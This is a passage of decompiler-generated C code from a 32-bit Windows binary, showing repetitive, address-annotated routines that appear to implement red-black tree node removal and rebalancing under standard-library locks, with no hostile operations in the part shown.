  5937.                                                 v18 = v99;
  5938.                                                 v64 = v98;
  5939.                                                 v65 = v8;
  5940.                                                 v62 = v99;
  5941.                                                 // branch -> 0x4087aa
  5942.                                               lab_0x4087aa:
  5943.                                                 // 0x4087aa
  5944.                                                 v66 = (int32_t *)v62;
  5945.                                                 v67 = (int32_t *)(v62 + 8);
  5946.                                                 if (*(int32_t *)(*v66 + 20) == v65) {
  5947.                                                   lab_0x4087b5:;
  5948.                                                     int32_t v102 = *v67; // 0x4087b5
  5949.                                                     g6 = v102;
  5950.                                                     if (*(int32_t *)(v102 + 20) == v65) {
  5951.                                                         v60 = v62;
  5952.                                                       lab_0x40882d:
  5953.                                                         // 0x40882d
  5954.                                                         *(int32_t *)(v60 + 20) = v1;
  5955.                                                         v61 = *(int32_t *)(v6 + 4);
  5956.                                                         v6 = v61;
  5957.                                                         int32_t v103 = v61; // 0x40899a99
  5958.                                                         if (v61 != *(int32_t *)(*(int32_t *)(v9 + 4) + 4)) {
  5959.                                                           lab_0x40882d_2:;
  5960.                                                             int32_t v104 = v8;
  5961.                                                             if (*(int32_t *)(v61 + 20) != v104) {
  5962.                                                                 // break -> 0x40899a
  5963.                                                                 break;
  5964.                                                             }
  5965.                                                             v26 = v61;
  5966.                                                             v52 = v104;
  5967.                                                             // continue -> 0x40874c
  5968.                                                             continue;
  5969.                                                         }
  5970.                                                         // 0x40899a
  5971.                                                         // branch -> 0x40899a
  5972.                                                         // 0x40899a
  5973.                                                         *(int32_t *)(v103 + 20) = v8;
  5974.                                                         // branch -> 0x40899d
  5975.                                                         // 0x40899d
  5976.                                                         _qm__qm_1_Lockit_std__QAE_XZ();
  5977.                                                         g1 = v20;
  5978.                                                         function_4097fe((char *)v20);
  5979.                                                         v58 = (int32_t *)(v9 + 12);
  5980.                                                         v59 = v1;
  5981.                                                         g4 = v59;
  5982.                                                         *v58 = *v58 - 1;
  5983.                                                         g5 = v3;
  5984.                                                         *a1 = v59;
  5985.                                                         return result;
  5986.                                                     }
  5987.                                                 }
  5988.                                                 // 0x408844
  5989.                                                 v80 = v62;
  5990.                                                 v79 = v64;
  5991.                                                 if (*(int32_t *)(*v67 + 20) == v65) {
  5992.                                                     // 0x40884c
  5993.                                                     *(int32_t *)(*v66 + 20) = v65;
  5994.                                                     v73 = v18;
  5995.                                                     v19 = *(int32_t *)v73;
  5996.                                                     *(int32_t *)(v73 + 20) = v1;
  5997.                                                     *(int32_t *)v18 = *(int32_t *)(v19 + 8);
  5998.                                                     v76 = v19;
  5999.                                                     v82 = *(int32_t *)(v76 + 8);
  6000.                                                     v77 = v76;
  6001.                                                     if (v82 != g1178) {
  6002.                                                         // 0x408866
  6003.                                                         *(int32_t *)(v82 + 4) = v18;
  6004.                                                         v77 = v19;
  6005.                                                         // branch -> 0x408869
  6006.                                                     }
  6007.                                                     // 0x408869
  6008.                                                     *(int32_t *)(v77 + 4) = *(int32_t *)(v18 + 4);
  6009.                                                     v83 = v18;
  6010.                                                     v68 = (int32_t *)(*(int32_t *)(v9 + 4) + 4);
  6011.                                                     if (v83 != *v68) {
  6012.                                                         // 0x40887c
  6013.                                                         v84 = *(int32_t *)(v83 + 4);
  6014.                                                         v69 = (int32_t *)(v84 + 8);
  6015.                                                         v85 = v19;
  6016.                                                         if (v83 == *v69) {
  6017.                                                             // 0x408884
  6018.                                                             *v69 = v85;
  6019.                                                             // branch -> 0x40888b
  6020.                                                         } else {
  6021.                                                             // 0x408889
  6022.                                                             *(int32_t *)v84 = v85;
  6023.                                                             // branch -> 0x40888b
  6024.                                                         }
  6025.                                                         // 0x40888b
  6026.                                                         *(int32_t *)(v19 + 8) = v18;
  6027.                                                         *(int32_t *)(v18 + 4) = v19;
  6028.                                                         v78 = v6;
  6029.                                                         v86 = *(int32_t *)(*(int32_t *)(v78 + 4) + 8);
  6030.                                                         // branch -> 0x408897
  6031.                                                         // 0x408897
  6032.                                                         *(int32_t *)(v86 + 20) = *(int32_t *)(*(int32_t *)(v78 + 4) + 20);
  6033.                                                         *(int32_t *)(*(int32_t *)(v6 + 4) + 20) = v8;
  6034.                                                         *(int32_t *)(*(int32_t *)(v86 + 8) + 20) = v8;
  6035.                                                         v87 = *(int32_t *)(v6 + 4);
  6036.                                                         v18 = v87;
  6037.                                                         v70 = (int32_t *)(v87 + 8);
  6038.                                                         v88 = *v70;
  6039.                                                         v19 = v88;
  6040.                                                         *v70 = *(int32_t *)v88;
  6041.                                                         v74 = v19;
  6042.                                                         v75 = *(int32_t *)v74;
  6043.                                                         v81 = v74;
  6044.                                                         if (v75 != g1178) {
  6045.                                                             // 0x4088c1
  6046.                                                             *(int32_t *)(v75 + 4) = v18;
  6047.                                                             v81 = v19;
  6048.                                                             // branch -> 0x4088c4
  6049.                                                         }
  6050.                                                         // 0x4088c4
  6051.                                                         *(int32_t *)(v81 + 4) = *(int32_t *)(v18 + 4);
  6052.                                                         v89 = *(int32_t *)(v9 + 4);
  6053.                                                         g6 = v89;
  6054.                                                         v90 = v18;
  6055.                                                         v71 = (int32_t *)(v89 + 4);
  6056.                                                         if (v90 == *v71) {
  6057.                                                             // 0x4088d2
  6058.                                                             *v71 = v19;
  6059.                                                             *(int32_t *)v19 = v18;
  6060.                                                             // branch -> 0x408997
  6061.                                                             // 0x408997
  6062.                                                             *(int32_t *)(v18 + 4) = v19;
  6063.                                                             // branch -> 0x40899a
  6064.                                                             // 0x40899a
  6065.                                                             *(int32_t *)(v6 + 20) = v8;
  6066.                                                             // branch -> 0x40899d
  6067.                                                             // 0x40899d
  6068.                                                             _qm__qm_1_Lockit_std__QAE_XZ();
  6069.                                                             g1 = v20;
  6070.                                                             function_4097fe((char *)v20);
  6071.                                                             v58 = (int32_t *)(v9 + 12);
  6072.                                                             v59 = v1;
  6073.                                                             g4 = v59;
  6074.                                                             *v58 = *v58 - 1;
  6075.                                                             g5 = v3;
  6076.                                                             *a1 = v59;
  6077.                                                             return result;
  6078.                                                         }
  6079.                                                         // 0x4088dc
  6080.                                                         v91 = *(int32_t *)(v90 + 4);
  6081.                                                         g6 = v91;
  6082.                                                         v72 = (int32_t *)v91;
  6083.                                                         if (v90 == *v72) {
  6084.                                                             // 0x4088e3
  6085.                                                             *v72 = v19;
  6086.                                                             *(int32_t *)v19 = v18;
  6087.                                                             // branch -> 0x408997
  6088.                                                             // 0x408997
  6089.                                                             *(int32_t *)(v18 + 4) = v19;
  6090.                                                             // branch -> 0x40899a
  6091.                                                             // 0x40899a
  6092.                                                             *(int32_t *)(v6 + 20) = v8;
  6093.                                                             // branch -> 0x40899d
  6094.                                                             // 0x40899d
  6095.                                                             _qm__qm_1_Lockit_std__QAE_XZ();
  6096.                                                             g1 = v20;
  6097.                                                             function_4097fe((char *)v20);
  6098.                                                             v58 = (int32_t *)(v9 + 12);
  6099.                                                             v59 = v1;
  6100.                                                             g4 = v59;
  6101.                                                             *v58 = *v58 - 1;
  6102.                                                             g5 = v3;
  6103.                                                             *a1 = v59;
  6104.                                                             return result;
  6105.                                                         }
  6106.                                                         // 0x4088ec
  6107.                                                         *(int32_t *)(v91 + 8) = v19;
  6108.                                                         *(int32_t *)v19 = v18;
  6109.                                                         // branch -> 0x408997
  6110.                                                         // 0x408997
  6111.                                                         *(int32_t *)(v18 + 4) = v19;
  6112.                                                         // branch -> 0x40899a
  6113.                                                         // 0x40899a
  6114.                                                         *(int32_t *)(v6 + 20) = v8;
  6115.                                                         // branch -> 0x40899d
  6116.                                                         // 0x40899d
  6117.                                                         _qm__qm_1_Lockit_std__QAE_XZ();
  6118.                                                         g1 = v20;
  6119.                                                         function_4097fe((char *)v20);
  6120.                                                         v58 = (int32_t *)(v9 + 12);
  6121.                                                         v59 = v1;
  6122.                                                         g4 = v59;
  6123.                                                         *v58 = *v58 - 1;
  6124.                                                         g5 = v3;
  6125.                                                         *a1 = v59;
  6126.                                                         return result;
  6127.                                                     }
  6128.                                                     // 0x408877
  6129.                                                     *v68 = v19;
  6130.                                                     // branch -> 0x40888b
  6131.                                                     // 0x40888b
  6132.                                                     *(int32_t *)(v19 + 8) = v18;
  6133.                                                     *(int32_t *)(v18 + 4) = v19;
  6134.                                                     v78 = v6;
  6135.                                                     v86 = *(int32_t *)(*(int32_t *)(v78 + 4) + 8);
  6136.                                                     v18 = v86;
  6137.                                                     v80 = v86;
  6138.                                                     v79 = v78;
  6139.                                                     // branch -> 0x408897
  6140.                                                 }
  6141.                                                 // 0x408897
  6142.                                                 *(int32_t *)(v80 + 20) = *(int32_t *)(*(int32_t *)(v79 + 4) + 20);
  6143.                                                 *(int32_t *)(*(int32_t *)(v6 + 4) + 20) = v8;
  6144.                                                 *(int32_t *)(*(int32_t *)(v18 + 8) + 20) = v8;
  6145.                                                 v87 = *(int32_t *)(v6 + 4);
  6146.                                                 v18 = v87;
  6147.                                                 v70 = (int32_t *)(v87 + 8);
  6148.                                                 v88 = *v70;
  6149.                                                 v19 = v88;
  6150.                                                 *v70 = *(int32_t *)v88;
  6151.                                                 v74 = v19;
  6152.                                                 v75 = *(int32_t *)v74;
  6153.                                                 v81 = v74;
  6154.                                                 if (v75 != g1178) {
  6155.                                                     // 0x4088c1
  6156.                                                     *(int32_t *)(v75 + 4) = v18;
  6157.                                                     v81 = v19;
  6158.                                                     // branch -> 0x4088c4
  6159.                                                 }
  6160.                                                 // 0x4088c4
  6161.                                                 *(int32_t *)(v81 + 4) = *(int32_t *)(v18 + 4);
  6162.                                                 v89 = *(int32_t *)(v9 + 4);
  6163.                                                 g6 = v89;
  6164.                                                 v90 = v18;
  6165.                                                 v71 = (int32_t *)(v89 + 4);
  6166.                                                 if (v90 == *v71) {
  6167.                                                     // 0x4088d2
  6168.                                                     *v71 = v19;
  6169.                                                     *(int32_t *)v19 = v18;
  6170.                                                     // branch -> 0x408997
  6171.                                                     // 0x408997
  6172.                                                     *(int32_t *)(v18 + 4) = v19;
  6173.                                                     // branch -> 0x40899a
  6174.                                                     // 0x40899a
  6175.                                                     *(int32_t *)(v6 + 20) = v8;
  6176.                                                     // branch -> 0x40899d
  6177.                                                     // 0x40899d
  6178.                                                     _qm__qm_1_Lockit_std__QAE_XZ();
  6179.                                                     g1 = v20;
  6180.                                                     function_4097fe((char *)v20);
  6181.                                                     v58 = (int32_t *)(v9 + 12);
  6182.                                                     v59 = v1;
  6183.                                                     g4 = v59;
  6184.                                                     *v58 = *v58 - 1;
  6185.                                                     g5 = v3;
  6186.                                                     *a1 = v59;
  6187.                                                     return result;
  6188.                                                 }
  6189.                                                 // 0x4088dc
  6190.                                                 v91 = *(int32_t *)(v90 + 4);
  6191.                                                 g6 = v91;
  6192.                                                 v72 = (int32_t *)v91;
  6193.                                                 if (v90 == *v72) {
  6194.                                                     // 0x4088e3
  6195.                                                     *v72 = v19;
  6196.                                                     *(int32_t *)v19 = v18;
  6197.                                                     // branch -> 0x408997
  6198.                                                     // 0x408997
  6199.                                                     *(int32_t *)(v18 + 4) = v19;
  6200.                                                     // branch -> 0x40899a
  6201.                                                     // 0x40899a
  6202.                                                     *(int32_t *)(v6 + 20) = v8;
  6203.                                                     // branch -> 0x40899d
  6204.                                                     // 0x40899d
  6205.                                                     _qm__qm_1_Lockit_std__QAE_XZ();
  6206.                                                     g1 = v20;
  6207.                                                     function_4097fe((char *)v20);
  6208.                                                     v58 = (int32_t *)(v9 + 12);
  6209.                                                     v59 = v1;
  6210.                                                     g4 = v59;
  6211.                                                     *v58 = *v58 - 1;
  6212.                                                     g5 = v3;
  6213.                                                     *a1 = v59;
  6214.                                                     return result;
  6215.                                                 }
  6216.                                                 // 0x4088ec
  6217.                                                 *(int32_t *)(v91 + 8) = v19;
  6218.                                                 *(int32_t *)v19 = v18;
  6219.                                                 // branch -> 0x408997
  6220.                                                 // 0x408997
  6221.                                                 *(int32_t *)(v18 + 4) = v19;
  6222.                                                 // branch -> 0x40899a
  6223.                                                 // 0x40899a
  6224.                                                 *(int32_t *)(v6 + 20) = v8;
  6225.                                                 // branch -> 0x40899d
  6226.                                                 // 0x40899d
  6227.                                                 _qm__qm_1_Lockit_std__QAE_XZ();
  6228.                                                 g1 = v20;
  6229.                                                 function_4097fe((char *)v20);
  6230.                                                 v58 = (int32_t *)(v9 + 12);
  6231.                                                 v59 = v1;
  6232.                                                 g4 = v59;
  6233.                                                 *v58 = *v58 - 1;
  6234.                                                 g5 = v3;
  6235.                                                 *a1 = v59;
  6236.                                                 return result;
  6237.                                             }
  6238.                                             // 0x40878c
  6239.                                             *v97 = v19;
  6240.                                             // branch -> 0x40879f
  6241.                                             // 0x40879f
  6242.                                             *(int32_t *)v19 = v18;
  6243.                                             *(int32_t *)(v18 + 4) = v19;
  6244.                                             v98 = v6;
  6245.                                             v99 = *(int32_t *)(*(int32_t *)(v98 + 4) + 8);
  6246.                                             v18 = v99;
  6247.                                             v64 = v98;
  6248.                                             v65 = v8;
  6249.                                             v62 = v99;
  6250.                                             // branch -> 0x4087aa
  6251.                                             goto lab_0x4087aa;
  6252.                                         }
  6253.                                         // 0x4087aa
  6254.                                         v66 = (int32_t *)v62;
  6255.                                         v67 = (int32_t *)(v62 + 8);
  6256.                                         if (*(int32_t *)(*v66 + 20) == v65) {
  6257.                                             goto lab_0x4087b5;
  6258.                                         }
  6259.                                         // 0x408844
  6260.                                         v80 = v62;
  6261.                                         v79 = v64;
  6262.                                         if (*(int32_t *)(*v67 + 20) == v65) {
  6263.                                             // 0x40884c
  6264.                                             *(int32_t *)(*v66 + 20) = v65;
  6265.                                             v73 = v18;
  6266.                                             v19 = *(int32_t *)v73;
  6267.                                             *(int32_t *)(v73 + 20) = v1;
  6268.                                             *(int32_t *)v18 = *(int32_t *)(v19 + 8);
  6269.                                             v76 = v19;
  6270.                                             v82 = *(int32_t *)(v76 + 8);
  6271.                                             v77 = v76;
  6272.                                             if (v82 != g1178) {
  6273.                                                 // 0x408866
  6274.                                                 *(int32_t *)(v82 + 4) = v18;
  6275.                                                 v77 = v19;
  6276.                                                 // branch -> 0x408869
  6277.                                             }
  6278.                                             // 0x408869
  6279.                                             *(int32_t *)(v77 + 4) = *(int32_t *)(v18 + 4);
  6280.                                             v83 = v18;
  6281.                                             v68 = (int32_t *)(*(int32_t *)(v9 + 4) + 4);
  6282.                                             if (v83 != *v68) {
  6283.                                                 // 0x40887c
  6284.                                                 v84 = *(int32_t *)(v83 + 4);
  6285.                                                 v69 = (int32_t *)(v84 + 8);
  6286.                                                 v85 = v19;
  6287.                                                 if (v83 == *v69) {
  6288.                                                     // 0x408884
  6289.                                                     *v69 = v85;
  6290.                                                     // branch -> 0x40888b
  6291.                                                 } else {
  6292.                                                     // 0x408889
  6293.                                                     *(int32_t *)v84 = v85;
  6294.                                                     // branch -> 0x40888b
  6295.                                                 }
  6296.                                                 // 0x40888b
  6297.                                                 *(int32_t *)(v19 + 8) = v18;
  6298.                                                 *(int32_t *)(v18 + 4) = v19;
  6299.                                                 v78 = v6;
  6300.                                                 v86 = *(int32_t *)(*(int32_t *)(v78 + 4) + 8);
  6301.                                                 // branch -> 0x408897
  6302.                                                 // 0x408897
  6303.                                                 *(int32_t *)(v86 + 20) = *(int32_t *)(*(int32_t *)(v78 + 4) + 20);
  6304.                                                 *(int32_t *)(*(int32_t *)(v6 + 4) + 20) = v8;
  6305.                                                 *(int32_t *)(*(int32_t *)(v86 + 8) + 20) = v8;
  6306.                                                 v87 = *(int32_t *)(v6 + 4);
  6307.                                                 v18 = v87;
  6308.                                                 v70 = (int32_t *)(v87 + 8);
  6309.                                                 v88 = *v70;
  6310.                                                 v19 = v88;
  6311.                                                 *v70 = *(int32_t *)v88;
  6312.                                                 v74 = v19;
  6313.                                                 v75 = *(int32_t *)v74;
  6314.                                                 v81 = v74;
  6315.                                                 if (v75 != g1178) {
  6316.                                                     // 0x4088c1
  6317.                                                     *(int32_t *)(v75 + 4) = v18;
  6318.                                                     v81 = v19;
  6319.                                                     // branch -> 0x4088c4
  6320.                                                 }
  6321.                                                 // 0x4088c4
  6322.                                                 *(int32_t *)(v81 + 4) = *(int32_t *)(v18 + 4);
  6323.                                                 v89 = *(int32_t *)(v9 + 4);
  6324.                                                 g6 = v89;
  6325.                                                 v90 = v18;
  6326.                                                 v71 = (int32_t *)(v89 + 4);
  6327.                                                 if (v90 == *v71) {
  6328.                                                     // 0x4088d2
  6329.                                                     *v71 = v19;
  6330.                                                     *(int32_t *)v19 = v18;
  6331.                                                     // branch -> 0x408997
  6332.                                                     // 0x408997
  6333.                                                     *(int32_t *)(v18 + 4) = v19;
  6334.                                                     // branch -> 0x40899a
  6335.                                                     // 0x40899a
  6336.                                                     *(int32_t *)(v6 + 20) = v8;
  6337.                                                     // branch -> 0x40899d
  6338.                                                     // 0x40899d
  6339.                                                     _qm__qm_1_Lockit_std__QAE_XZ();
  6340.                                                     g1 = v20;
  6341.                                                     function_4097fe((char *)v20);
  6342.                                                     v58 = (int32_t *)(v9 + 12);
  6343.                                                     v59 = v1;
  6344.                                                     g4 = v59;
  6345.                                                     *v58 = *v58 - 1;
  6346.                                                     g5 = v3;
  6347.                                                     *a1 = v59;
  6348.                                                     return result;
  6349.                                                 }
  6350.                                                 // 0x4088dc
  6351.                                                 v91 = *(int32_t *)(v90 + 4);
  6352.                                                 g6 = v91;
  6353.                                                 v72 = (int32_t *)v91;
  6354.                                                 if (v90 == *v72) {
  6355.                                                     // 0x4088e3
  6356.                                                     *v72 = v19;
  6357.                                                     *(int32_t *)v19 = v18;
  6358.                                                     // branch -> 0x408997
  6359.                                                     // 0x408997
  6360.                                                     *(int32_t *)(v18 + 4) = v19;
  6361.                                                     // branch -> 0x40899a
  6362.                                                     // 0x40899a
  6363.                                                     *(int32_t *)(v6 + 20) = v8;
  6364.                                                     // branch -> 0x40899d
  6365.                                                     // 0x40899d
  6366.                                                     _qm__qm_1_Lockit_std__QAE_XZ();
  6367.                                                     g1 = v20;
  6368.                                                     function_4097fe((char *)v20);
  6369.                                                     v58 = (int32_t *)(v9 + 12);
  6370.                                                     v59 = v1;
  6371.                                                     g4 = v59;
  6372.                                                     *v58 = *v58 - 1;
  6373.                                                     g5 = v3;
  6374.                                                     *a1 = v59;
  6375.                                                     return result;
  6376.                                                 }
  6377.                                                 // 0x4088ec
  6378.                                                 *(int32_t *)(v91 + 8) = v19;
  6379.                                                 *(int32_t *)v19 = v18;
  6380.                                                 // branch -> 0x408997
  6381.                                                 // 0x408997
  6382.                                                 *(int32_t *)(v18 + 4) = v19;
  6383.                                                 // branch -> 0x40899a
  6384.                                                 // 0x40899a
  6385.                                                 *(int32_t *)(v6 + 20) = v8;
  6386.                                                 // branch -> 0x40899d
  6387.                                                 // 0x40899d
  6388.                                                 _qm__qm_1_Lockit_std__QAE_XZ();
  6389.                                                 g1 = v20;
  6390.                                                 function_4097fe((char *)v20);
  6391.                                                 v58 = (int32_t *)(v9 + 12);
  6392.                                                 v59 = v1;
  6393.                                                 g4 = v59;
  6394.                                                 *v58 = *v58 - 1;
  6395.                                                 g5 = v3;
  6396.                                                 *a1 = v59;
  6397.                                                 return result;
  6398.                                             }
  6399.                                             // 0x408877
  6400.                                             *v68 = v19;
  6401.                                             // branch -> 0x40888b
  6402.                                             // 0x40888b
  6403.                                             *(int32_t *)(v19 + 8) = v18;
  6404.                                             *(int32_t *)(v18 + 4) = v19;
  6405.                                             v78 = v6;
  6406.                                             v86 = *(int32_t *)(*(int32_t *)(v78 + 4) + 8);
  6407.                                             v18 = v86;
  6408.                                             v80 = v86;
  6409.                                             v79 = v78;
  6410.                                             // branch -> 0x408897
  6411.                                         }
  6412.                                         // 0x408897
  6413.                                         *(int32_t *)(v80 + 20) = *(int32_t *)(*(int32_t *)(v79 + 4) + 20);
  6414.                                         *(int32_t *)(*(int32_t *)(v6 + 4) + 20) = v8;
  6415.                                         *(int32_t *)(*(int32_t *)(v18 + 8) + 20) = v8;
  6416.                                         v87 = *(int32_t *)(v6 + 4);
  6417.                                         v18 = v87;
  6418.                                         v70 = (int32_t *)(v87 + 8);
  6419.                                         v88 = *v70;
  6420.                                         v19 = v88;
  6421.                                         *v70 = *(int32_t *)v88;
  6422.                                         v74 = v19;
  6423.                                         v75 = *(int32_t *)v74;
  6424.                                         v81 = v74;
  6425.                                         if (v75 != g1178) {
  6426.                                             // 0x4088c1
  6427.                                             *(int32_t *)(v75 + 4) = v18;
  6428.                                             v81 = v19;
  6429.                                             // branch -> 0x4088c4
  6430.                                         }
  6431.                                         // 0x4088c4
  6432.                                         *(int32_t *)(v81 + 4) = *(int32_t *)(v18 + 4);
  6433.                                         v89 = *(int32_t *)(v9 + 4);
  6434.                                         g6 = v89;
  6435.                                         v90 = v18;
  6436.                                         v71 = (int32_t *)(v89 + 4);
  6437.                                         if (v90 == *v71) {
  6438.                                             // 0x4088d2
  6439.                                             *v71 = v19;
  6440.                                             *(int32_t *)v19 = v18;
  6441.                                             // branch -> 0x408997
  6442.                                             // 0x408997
  6443.                                             *(int32_t *)(v18 + 4) = v19;
  6444.                                             // branch -> 0x40899a
  6445.                                             // 0x40899a
  6446.                                             *(int32_t *)(v6 + 20) = v8;
  6447.                                             // branch -> 0x40899d
  6448.                                             // 0x40899d
  6449.                                             _qm__qm_1_Lockit_std__QAE_XZ();
  6450.                                             g1 = v20;
  6451.                                             function_4097fe((char *)v20);
  6452.                                             v58 = (int32_t *)(v9 + 12);
  6453.                                             v59 = v1;
  6454.                                             g4 = v59;
  6455.                                             *v58 = *v58 - 1;
  6456.                                             g5 = v3;
  6457.                                             *a1 = v59;
  6458.                                             return result;
  6459.                                         }
  6460.                                         // 0x4088dc
  6461.                                         v91 = *(int32_t *)(v90 + 4);
  6462.                                         g6 = v91;
  6463.                                         v72 = (int32_t *)v91;
  6464.                                         if (v90 == *v72) {
  6465.                                             // 0x4088e3
  6466.                                             *v72 = v19;
  6467.                                             *(int32_t *)v19 = v18;
  6468.                                             // branch -> 0x408997
  6469.                                             // 0x408997
  6470.                                             *(int32_t *)(v18 + 4) = v19;
  6471.                                             // branch -> 0x40899a
  6472.                                             // 0x40899a
  6473.                                             *(int32_t *)(v6 + 20) = v8;
  6474.                                             // branch -> 0x40899d
  6475.                                             // 0x40899d
  6476.                                             _qm__qm_1_Lockit_std__QAE_XZ();
  6477.                                             g1 = v20;
  6478.                                             function_4097fe((char *)v20);
  6479.                                             v58 = (int32_t *)(v9 + 12);
  6480.                                             v59 = v1;
  6481.                                             g4 = v59;
  6482.                                             *v58 = *v58 - 1;
  6483.                                             g5 = v3;
  6484.                                             *a1 = v59;
  6485.                                             return result;
  6486.                                         }
  6487.                                         // 0x4088ec
  6488.                                         *(int32_t *)(v91 + 8) = v19;
  6489.                                         *(int32_t *)v19 = v18;
  6490.                                         // branch -> 0x408997
  6491.                                         // 0x408997
  6492.                                         *(int32_t *)(v18 + 4) = v19;
  6493.                                         // branch -> 0x40899a
  6494.                                         // 0x40899a
  6495.                                         *(int32_t *)(v6 + 20) = v8;
  6496.                                         // branch -> 0x40899d
  6497.                                         // 0x40899d
  6498.                                         _qm__qm_1_Lockit_std__QAE_XZ();
  6499.                                         g1 = v20;
  6500.                                         function_4097fe((char *)v20);
  6501.                                         v58 = (int32_t *)(v9 + 12);
  6502.                                         v59 = v1;
  6503.                                         g4 = v59;
  6504.                                         *v58 = *v58 - 1;
  6505.                                         g5 = v3;
  6506.                                         *a1 = v59;
  6507.                                         return result;
  6508.                                     }
  6509.                                   lab_0x4087c3_9:;
  6510.                                     int32_t * v105 = (int32_t *)(v35 + 20); // 0x4087c3_0
  6511.                                     int32_t v106 = v26; // 0x40894686
  6512.                                     int32_t v107 = v52; // 0x408900
  6513.                                     int32_t v108 = v35; // 0x4088fd
  6514.                                     int32_t * v109; // 0x408816_0
  6515.                                     int32_t * v110; // 0x408822_0
  6516.                                     int32_t * v111; // 0x408924_0
  6517.                                     int32_t * v112; // 0x408931_0
  6518.                                     int32_t * v113; // 0x40895d_0
  6519.                                     int32_t * v114; // 0x40897b_0
  6520.                                     int32_t * v115; // 0x408988_0
  6521.                                     int32_t v116; // 0x40890e
  6522.                                     int32_t v117; // 0x40890e
  6523.                                     int32_t v118; // 0x408944
  6524.                                     int32_t v119; // 0x40895d
  6525.                                     int32_t v120; // 0x408903
  6526.                                     int32_t v121; // 0x40891e
  6527.                                     int32_t v122; // 0x408941
  6528.                                     int32_t v123; // 0x408946
  6529.                                     int32_t v124; // 0x40894c
  6530.                                     int32_t v125; // 0x408964
  6531.                                     int32_t v126; // 0x408975
  6532.                                     int32_t v127; // 0x408924
  6533.                                     int32_t v128; // 0x40892e
  6534.                                     int32_t v129; // 0x40895a
  6535.                                     int32_t v130; // 0x408964
  6536.                                     int32_t v131; // 0x408978
  6537.                                     int32_t v132; // 0x40897b
  6538.                                     int32_t v133; // 0x408985
  6539.                                     int32_t v134; // 0x40898d
  6540.                                     if (*v105 == v1) {
  6541.                                         // 0x4087c8
  6542.                                         *v105 = v52;
  6543.                                         *(int32_t *)(*(int32_t *)(v6 + 4) + 20) = v1;
  6544.                                         int32_t v135 = *(int32_t *)(v6 + 4); // 0x4087d1
  6545.                                         v18 = v135;
  6546.                                         int32_t * v136 = (int32_t *)v135; // 0x4087d4_0
  6547.                                         int32_t v137 = *v136; // 0x4087d4
  6548.                                         v19 = v137;
  6549.                                         *v136 = *(int32_t *)(v137 + 8);
  6550.                                         int32_t v138 = *(int32_t *)(v19 + 8); // 0x4087db
  6551.                                         if (v138 != g1178) {
  6552.                                             // 0x4087e6
  6553.                                             *(int32_t *)(v138 + 4) = v18;
  6554.                                             // branch -> 0x4087e9
  6555.                                         }
  6556.                                         // 0x4087e9
  6557.                                         *(int32_t *)(v19 + 4) = *(int32_t *)(v18 + 4);
  6558.                                         int32_t v139 = v18; // 0x4087f2
  6559.                                         int32_t * v140 = (int32_t *)(*(int32_t *)(v9 + 4) + 4); // 0x4087f2_0
  6560.                                         int32_t v141; // 0x408814
  6561.                                         int32_t v142; // 0x408811
  6562.                                         if (v139 == *v140) {
  6563.                                             // 0x4087f7
  6564.                                             *v140 = v19;
  6565.                                             // branch -> 0x40880b
  6566.                                         } else {
  6567.                                             int32_t v143 = *(int32_t *)(v139 + 4); // 0x4087fc
  6568.                                             int32_t * v144 = (int32_t *)(v143 + 8); // 0x4087ff_0
  6569.                                             int32_t v145 = v19; // 0x408804
  6570.                                             if (v139 == *v144) {
  6571.                                                 // 0x408804
  6572.                                                 *v144 = v145;
  6573.                                                 // branch -> 0x40880b
  6574.                                             } else {
  6575.                                                 // 0x408809
  6576.                                                 *(int32_t *)v143 = v145;
  6577.                                                 // branch -> 0x40880b
  6578.                                             }
  6579.                                             // 0x40880b
  6580.                                             *(int32_t *)(v19 + 8) = v18;
  6581.                                             *(int32_t *)(v18 + 4) = v19;
  6582.                                             v142 = v6;
  6583.                                             v141 = *(int32_t *)*(int32_t *)(v142 + 4);
  6584.                                             v18 = v141;
  6585.                                             v106 = v142;
  6586.                                             v107 = v8;
  6587.                                             v108 = v141;
  6588.                                             // branch -> 0x408816
  6589.                                           lab_0x408816:
  6590.                                             // 0x408816
  6591.                                             v109 = (int32_t *)(v108 + 8);
  6592.                                             v110 = (int32_t *)v108;
  6593.                                             if (*(int32_t *)(*v109 + 20) == v107) {
  6594.                                               lab_0x408822:;
  6595.                                                 int32_t v146 = *v110; // 0x408822
  6596.                                                 g6 = v146;
  6597.                                                 if (*(int32_t *)(v146 + 20) == v107) {
  6598.                                                     v60 = v108;
  6599.                                                     goto lab_0x40882d;
  6600.                                                 }
  6601.                                                 // 0x4088f6
  6602.                                                 v124 = v108;
  6603.                                                 v123 = v106;
  6604.                                                 if (*(int32_t *)(*v110 + 20) == v107) {
  6605.                                                     // 0x4088fd
  6606.                                                     *(int32_t *)(*v109 + 20) = v107;
  6607.                                                     v120 = v18;
  6608.                                                     v19 = *(int32_t *)(v120 + 8);
  6609.                                                     *(int32_t *)(v120 + 20) = v1;
  6610.                                                     *(int32_t *)(v18 + 8) = *(int32_t *)v19;
  6611.                                                     v116 = v19;
  6612.                                                     v117 = *(int32_t *)v116;
  6613.                                                     v121 = v116;
  6614.                                                     if (v117 != g1178) {
  6615.                                                         // 0x408918
  6616.                                                         *(int32_t *)(v117 + 4) = v18;
  6617.                                                         v121 = v19;
  6618.                                                         // branch -> 0x40891b
  6619.                                                     }
  6620.                                                     // 0x40891b
  6621.                                                     *(int32_t *)(v121 + 4) = *(int32_t *)(v18 + 4);
  6622.                                                     v127 = v18;
  6623.                                                     v111 = (int32_t *)(*(int32_t *)(v9 + 4) + 4);
  6624.                                                     if (v127 == *v111) {
  6625.                                                         // 0x408929
  6626.                                                         *v111 = v19;
  6627.                                                         // branch -> 0x40893c
  6628.                                                     } else {
  6629.                                                         // 0x40892e
  6630.                                                         v128 = *(int32_t *)(v127 + 4);
  6631.                                                         v112 = (int32_t *)v128;
  6632.                                                         if (v127 == *v112) {
  6633.                                                             // 0x408935
  6634.                                                             *v112 = v19;
  6635.                                                             // branch -> 0x40893c
  6636.                                                         } else {
  6637.                                                             // 0x408939
  6638.                                                             *(int32_t *)(v128 + 8) = v19;
  6639.                                                             // branch -> 0x40893c
  6640.                                                         }
  6641.                                                         // 0x40893c
  6642.                                                         *(int32_t *)v19 = v18;
  6643.                                                         *(int32_t *)(v18 + 4) = v19;
  6644.                                                         v122 = v6;
  6645.                                                         v118 = *(int32_t *)*(int32_t *)(v122 + 4);
  6646.                                                         // branch -> 0x408946
  6647.                                                         // 0x408946
  6648.                                                         *(int32_t *)(v118 + 20) = *(int32_t *)(*(int32_t *)(v122 + 4) + 20);
  6649.                                                         *(int32_t *)(*(int32_t *)(v6 + 4) + 20) = v8;
  6650.                                                         *(int32_t *)(*(int32_t *)v118 + 20) = v8;
